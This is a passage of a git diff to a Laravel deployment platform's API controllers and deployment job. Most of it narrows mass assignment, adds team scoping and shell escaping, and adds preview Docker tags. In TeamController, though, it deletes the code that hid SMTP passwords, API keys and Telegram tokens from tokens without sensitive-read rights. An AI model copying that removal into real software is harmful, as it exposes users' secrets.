'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1542,6 +1551,7 @@ public function create_database_mysql(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1580,7 +1590,7 @@ public function create_database_mongodb(Request $request) public function create_database(Request $request, NewDatabaseTypes $type) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -1670,6 +1680,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) 'destination_uuid' => 'string', 'is_public' => 'boolean', 'public_port' => 'numeric|nullable', + 'public_port_timeout' => 'integer|nullable|min:1', 'limits_memory' => 'string', 'limits_memory_swap' => 'string', 'limits_memory_swappiness' => 'numeric', @@ -1696,7 +1707,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } } if ($type === NewDatabaseTypes::POSTGRESQL) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ 'postgres_user' => 'string', 'postgres_password' => 'string', @@ -1740,7 +1751,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('postgres_conf', $postgresConf); } - $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_postgresql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1755,7 +1766,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MARIADB) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ 'clickhouse_admin_user' => 'string', 'clickhouse_admin_password' => 'string', @@ -1795,7 +1806,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mariadb_conf', $mariadbConf); } - $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mariadb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1811,7 +1822,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MYSQL) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ 'mysql_root_password' => 'string', 'mysql_password' => 'string', @@ -1854,7 +1865,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mysql_conf', $mysqlConf); } - $database = create_standalone_mysql($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mysql($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1870,7 +1881,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::REDIS) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ 'redis_password' => 'string', 'redis_conf' => 'string', @@ -1910,7 +1921,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('redis_conf', $redisConf); } - $database = create_standalone_redis($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_redis($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1926,7 +1937,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::DRAGONFLY) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ 'dragonfly_password' => 'string', ]); @@ -1947,7 +1958,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_dragonfly($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -1956,7 +1967,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) 'uuid' => $database->uuid, ]))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::KEYDB) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ 'keydb_password' => 'string', 'keydb_conf' => 'string', @@ -1996,7 +2007,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('keydb_conf', $keydbConf); } - $database = create_standalone_keydb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_keydb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2012,7 +2023,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::CLICKHOUSE) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ 'clickhouse_admin_user' => 'string', 'clickhouse_admin_password' => 'string', @@ -2032,7 +2043,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) ], 422); } removeUnnecessaryFieldsFromRequest($request); - $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_clickhouse($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } @@ -2048,7 +2059,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) return response()->json(serializeApiResponse($payload))->setStatusCode(201); } elseif ($type === NewDatabaseTypes::MONGODB) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', 'mongo_initdb_root_username' => 'string', @@ -2090,7 +2101,7 @@ public function create_database(Request $request, NewDatabaseTypes $type) } $request->offsetSet('mongo_conf', $mongoConf); } - $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->all()); + $database = create_standalone_mongodb($environment->id, $destination->uuid, $request->only($allowedFields)); if ($instantDeploy) { StartDatabase::dispatch($database); } diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index 85d532f62..6ff06c10a 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -4,12 +4,15 @@ use App\Actions\Database\StartDatabase; use App\Actions\Service\StartService; +use App\Enums\ApplicationDeploymentStatus; use App\Http\Controllers\Controller; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\ApplicationPreview; use App\Models\Server; use App\Models\Service; use App\Models\Tag; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Visus\Cuid2\Cuid2; @@ -228,8 +231,8 @@ public function cancel_deployment(Request $request) // Check if deployment can be cancelled (must be queued or in_progress) $cancellableStatuses = [ - \App\Enums\ApplicationDeploymentStatus::QUEUED->value, - \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ApplicationDeploymentStatus::QUEUED->value, + ApplicationDeploymentStatus::IN_PROGRESS->value, ]; if (! in_array($deployment->status, $cancellableStatuses)) { @@ -246,11 +249,11 @@ public function cancel_deployment(Request $request) // Mark deployment as cancelled $deployment->update([ - 'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value, + 'status' => ApplicationDeploymentStatus::CANCELLED_BY_USER->value, ]); // Get the server - $server = Server::find($build_server_id); + $server = Server::whereTeamId($teamId)->find($build_server_id); if ($server) { // Add cancellation log entry @@ -304,6 +307,8 @@ public function cancel_deployment(Request $request) new OA\Parameter(name: 'uuid', in: 'query', description: 'Resource UUID(s). Comma separated list is also accepted.', schema: new OA\Schema(type: 'string')), new OA\Parameter(name: 'force', in: 'query', description: 'Force rebuild (without cache)', schema: new OA\Schema(type: 'boolean')), new OA\Parameter(name: 'pr', in: 'query', description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.', schema: new OA\Schema(type: 'integer')), + new OA\Parameter(name: 'pull_request_id', in: 'query', description: 'Preview deployment identifier. Alias of pr.', schema: new OA\Schema(type: 'integer')), + new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.', schema: new OA\Schema(type: 'string')), ], responses: [ @@ -354,7 +359,9 @@ public function deploy(Request $request) $uuids = $request->input('uuid'); $tags = $request->input('tag'); $force = $request->input('force') ?? false; - $pr = $request->input('pr') ? max((int) $request->input('pr'), 0) : 0; + $pullRequestId = $request->input('pull_request_id', $request->input('pr')); + $pr = $pullRequestId ? max((int) $pullRequestId, 0) : 0; + $dockerTag = $request->string('docker_tag')->trim()->value() ?: null; if ($uuids && $tags) { return response()->json(['message' => 'You can only use uuid or tag, not both.'], 400); @@ -362,16 +369,22 @@ public function deploy(Request $request) if ($tags && $pr) { return response()->json(['message' => 'You can only use tag or pr, not both.'], 400); } + if ($dockerTag && $pr === 0) { + return response()->json(['message' => 'docker_tag requires pull_request_id.'], 400); + } + if ($dockerTag && $tags) { + return response()->json(['message' => 'You can only use tag or docker_tag, not both.'], 400); + } if ($tags) { return $this->by_tags($tags, $teamId, $force); } elseif ($uuids) { - return $this->by_uuids($uuids, $teamId, $force, $pr); + return $this->by_uuids($uuids, $teamId, $force, $pr, $dockerTag); } return response()->json(['message' => 'You must provide uuid or tag.'], 400); } - private function by_uuids(string $uuid, int $teamId, bool $force = false, int $pr = 0) + private function by_uuids(string $uuid, int $teamId, bool $force = false, int $pr = 0, ?string $dockerTag = null) { $uuids = explode(',', $uuid); $uuids = collect(array_filter($uuids)); @@ -384,15 +397,22 @@ private function by_uuids(string $uuid, int $teamId, bool $force = false, int $p foreach ($uuids as $uuid) { $resource = getResourceByUuid($uuid, $teamId); if ($resource) { + $dockerTagForResource = $dockerTag; if ($pr !== 0) { - $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + $preview = null; + if ($resource instanceof Application && $resource->build_pack === 'dockerimage') { + $preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag); + $dockerTagForResource = $preview?->docker_registry_image_tag; + } else { + $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + } if (! $preview) { $deployments->push(['message' => "Pull request {$pr} not found for this resource.", 'resource_uuid' => $uuid]); continue; } } - $result = $this->deploy_resource($resource, $force, $pr); + $result = $this->deploy_resource($resource, $force, $pr, $dockerTagForResource); if (isset($result['status']) && $result['status'] === 429) { return response()->json(['message' => $result['message']], 429)->header('Retry-After', 60); } @@ -465,7 +485,7 @@ public function by_tags(string $tags, int $team_id, bool $force = false) return response()->json(['message' => 'No resources found with this tag.'], 404); } - public function deploy_resource($resource, bool $force = false, int $pr = 0): array + public function deploy_resource($resource, bool $force = false, int $pr = 0, ?string $dockerTag = null): array { $message = null; $deployment_uuid = null; @@ -477,9 +497,12 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Check authorization for application deployment try { $this->authorize('deploy', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to deploy this application.', 'deployment_uuid' => null]; } + if ($dockerTag !== null && $resource->build_pack !== 'dockerimage') { + return ['message' => 'docker_tag can only be used with Docker Image applications.', 'deployment_uuid' => null]; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $resource, @@ -487,6 +510,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar force_rebuild: $force, pull_request_id: $pr, is_api: true, + docker_registry_image_tag: $dockerTag, ); if ($result['status'] === 'queue_full') { return ['message' => $result['message'], 'deployment_uuid' => null, 'status' => 429]; @@ -500,7 +524,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Check authorization for service deployment try { $this->authorize('deploy', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to deploy this service.', 'deployment_uuid' => null]; } StartService::run($resource); @@ -510,7 +534,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Database resource - check authorization try { $this->authorize('manage', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to start this database.', 'deployment_uuid' => null]; } StartDatabase::dispatch($resource); @@ -525,6 +549,34 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar return ['message' => $message, 'deployment_uuid' => $deployment_uuid]; } + private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag): ?ApplicationPreview + { + $preview = $application->previews()->where('pull_request_id', $pullRequestId)->first(); + + if (! $preview && $dockerTag === null) { + return null; + } + + if (! $preview) { + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => $dockerTag, + ]); + $preview->generate_preview_fqdn(); + + return $preview; + } + + if ($dockerTag !== null && $preview->docker_registry_image_tag !== $dockerTag) { + $preview->docker_registry_image_tag = $dockerTag; + $preview->save(); + } + + return $preview; + } + #[OA\Get( summary: 'List application deployments', description: 'List application deployments by using the app uuid', diff --git a/app/Http/Controllers/Api/ProjectController.php b/app/Http/Controllers/Api/ProjectController.php index da553a68c..c8638be0d 100644 --- a/app/Http/Controllers/Api/ProjectController.php +++ b/app/Http/Controllers/Api/ProjectController.php @@ -5,6 +5,7 @@ use App\Http\Controllers\Controller; use App\Models\Project; use App\Support\ValidationPatterns; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use OpenApi\Attributes as OA; @@ -234,7 +235,7 @@ public function create_project(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ @@ -257,7 +258,7 @@ public function create_project(Request $request) ], 422); } - $project = Project::create([ + $project = Project::forceCreate([ 'name' => $request->name, 'description' => $request->description, 'team_id' => $teamId, @@ -347,7 +348,7 @@ public function update_project(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ @@ -600,7 +601,7 @@ public function create_environment(Request $request) } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = Validator::make($request->all(), [ diff --git a/app/Http/Controllers/Api/SecurityController.php b/app/Http/Controllers/Api/SecurityController.php index e7b36cb9a..2c62928c2 100644 --- a/app/Http/Controllers/Api/SecurityController.php +++ b/app/Http/Controllers/Api/SecurityController.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Controller; use App\Models\PrivateKey; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -176,7 +177,7 @@ public function create_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } $validator = customApiValidator($request->all(), [ @@ -300,7 +301,7 @@ public function update_key(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -330,7 +331,7 @@ public function update_key(Request $request) 'message' => 'Private Key not found.', ], 404); } - $foundKey->update($request->all()); + $foundKey->update($request->only($allowedFields)); return response()->json(serializeApiResponse([ 'uuid' => $foundKey->uuid, diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index fbf4b9e56..6a742fe1b 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -432,7 +432,7 @@ public function create_service(Request $request) if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($servicePayload, 'connect_to_docker_network', true); } - $service = Service::create($servicePayload); + $service = Service::forceCreate($servicePayload); $service->name = $request->name ?? "$oneClickServiceName-".$service->uuid; $service->description = $request->description; if ($request->has('is_container_label_escape_enabled')) { diff --git a/app/Http/Controllers/Api/TeamController.php b/app/Http/Controllers/Api/TeamController.php index fd0282d96..03b36e4e0 100644 --- a/app/Http/Controllers/Api/TeamController.php +++ b/app/Http/Controllers/Api/TeamController.php @@ -14,14 +14,6 @@ private function removeSensitiveData($team) 'custom_server_limit', 'pivot', ]); - if (request()->attributes->get('can_read_sensitive', false) === false) { - $team->makeHidden([ - 'smtp_username', - 'smtp_password', - 'resend_api_key', - 'telegram_token', - ]); - } return serializeApiResponse($team); } diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index 183186711..e59bc6ead 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -119,7 +119,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -128,7 +128,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'bitbucket', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index a9d65eae6..6ba4b33cf 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -144,7 +144,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -153,7 +153,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitea', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 08e5d7162..fe4f17d9e 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -177,7 +177,7 @@ public function manual(Request $request) $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { if ($application->build_pack === 'dockercompose') { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, @@ -186,7 +186,7 @@ public function manual(Request $request) ]); $pr_app->generate_preview_fqdn_compose(); } else { - $pr_app = ApplicationPreview::create([ + $pr_app = ApplicationPreview::forceCreate([ 'git_type' => 'gitlab', 'application_id' => $application->id, 'pull_request_id' => $pull_request_id, diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 785e8c8e3..833e6bfe8 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -76,6 +76,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private ?string $dockerImageTag = null; + private ?string $dockerImagePreviewTag = null; + private GithubApp|GitlabApp|string $source = 'other'; private StandaloneDocker|SwarmDocker $destination; @@ -208,6 +210,7 @@ public function __construct(public int $application_deployment_queue_id) $this->restart_only = $this->application_deployment_queue->restart_only; $this->restart_only = $this->restart_only && $this->application->build_pack !== 'dockerimage' && $this->application->build_pack !== 'dockerfile'; $this->only_this_server = $this->application_deployment_queue->only_this_server; + $this->dockerImagePreviewTag = $this->application_deployment_queue->docker_registry_image_tag; $this->git_type = data_get($this->application_deployment_queue, 'git_type'); @@ -246,6 +249,9 @@ public function __construct(public int $application_deployment_queue_id) // Set preview fqdn if ($this->pull_request_id !== 0) { $this->preview = ApplicationPreview::findPreviewByApplicationAndPullId($this->application->id, $this->pull_request_id); + if ($this->application->build_pack === 'dockerimage' && str($this->dockerImagePreviewTag)->isEmpty()) { + $this->dockerImagePreviewTag = $this->preview?->docker_registry_image_tag; + } if ($this->preview) { if ($this->application->build_pack === 'dockercompose') { $this->preview->generate_preview_fqdn_compose(); @@ -288,7 +294,8 @@ public function handle(): void // Make sure the private key is stored in the filesystem $this->server->privateKey->storeInFileSystem(); // Generate custom host<->ip mapping - $allContainers = instant_remote_process(["docker network inspect {$this->destination->network} -f '{{json .Containers}}' "], $this->server); + $safeNetwork = escapeshellarg($this->destination->network); + $allContainers = instant_remote_process(["docker network inspect {$safeNetwork} -f '{{json .Containers}}' "], $this->server); if (! is_null($allContainers)) { $allContainers = format_docker_command_output_to_json($allContainers); @@ -465,14 +472,14 @@ private function decide_what_to_do() $this->just_restart(); return; + } elseif ($this->application->build_pack === 'dockerimage') { + $this->deploy_dockerimage_buildpack(); } elseif ($this->pull_request_id !== 0) { $this->deploy_pull_request(); } elseif ($this->application->dockerfile) { $this->deploy_simple_dockerfile(); } elseif ($this->application->build_pack === 'dockercompose') { $this->deploy_docker_compose_buildpack(); - } elseif ($this->application->build_pack === 'dockerimage') { - $this->deploy_dockerimage_buildpack(); } elseif ($this->application->build_pack === 'dockerfile') { $this->deploy_dockerfile_buildpack(); } elseif ($this->application->build_pack 